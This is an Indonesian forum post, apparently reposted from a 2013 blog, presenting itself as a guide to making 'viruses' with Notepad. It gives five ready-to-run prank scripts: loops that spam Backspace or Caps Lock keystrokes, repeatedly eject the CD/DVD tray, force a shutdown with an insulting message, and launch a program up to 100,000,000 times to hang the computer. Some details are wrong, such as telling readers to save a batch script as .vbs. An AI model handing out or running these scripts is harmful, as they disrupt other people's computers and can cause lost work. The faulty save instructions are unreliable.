pasti banyak orang yang kepo gimana sih cara bikin virus, nah di trit pertama ane ini, ane mau bagi-bagi cara bikin virus sederhana pake Notepad. nah berhubung ini thread pertama ane jadi maap-maap aja kalo thread ini udah ada sebelumnya/repost oke, cekidot

langsung saja copas/ketik kode script berikut ke notepad :

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Simpan kode script tersebut di notepad dengan nama apa saja yang penting tidak lupa menuliskan exstensi .vbs contoh : "eror.vbs" tanpa tanda kutip dan Save As Type ganti menjadi Al Files. Trik ini membuat tombol backspace menjadi eror dan menekan dengan sendiri nya.


langsung aja copas/ketik kode script berikut ke notepad :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs contoh : "eror.vbs" dan Save As Type ganti menjadi All Files, maka akan bisa membuat CD/DVD Room buka tutup dengan sendirinya secara otomatis.


langsung saja copas/ketik kode script berikut di notepad :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika File ini di buka akan membuat Caps Lock menyala terus menerus.


langsung saja ini script nya copas ke notepad :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika file ini di buka akan membuat komputer shoutdown atau mati.


tourstart yang akan memenuhi layar monitor dan akan membuat komputer menjadi hang,
untuk mengatasinya dapat mendelete semua tourstart tersebut atau langsung merestart
komputer. Silahkan copas/ketik kode script berikut ke notepad :

option explicit
dim wshshell
set wshshell=wscript.createobject(“wscript.shell”)
dim x
for x = 1 to 100000000
wshshell.run “tourstart.exe”
next

Simpan dengan nama bebas dan dengan exstensi .vbs contoh : "virus.vbs" tanpa tanda kutip dan Save As type ganti menjadi All Files. Pada angka yang saya beri wara biru, itu bisa di ganti sesuai keinginan, bisa dibuat menjadi 100 atau 1000 saja, dan begitu file ini dibuka akan membuat tourstart sesuai dengan angka yang ditulis pada kode tesebut,

gimana oke ngak, buat semua yang tertarik silahkan coba tapi ane peringatin, resiko ditanggung sendiri ye
jangan lupa tinggalin jejak dan bagi2oke2
salam 22
courtesy:http://dikaeuphrosyne.blogspot.com/2013/04/cara-membuat-virus-menggunakan-notepad.html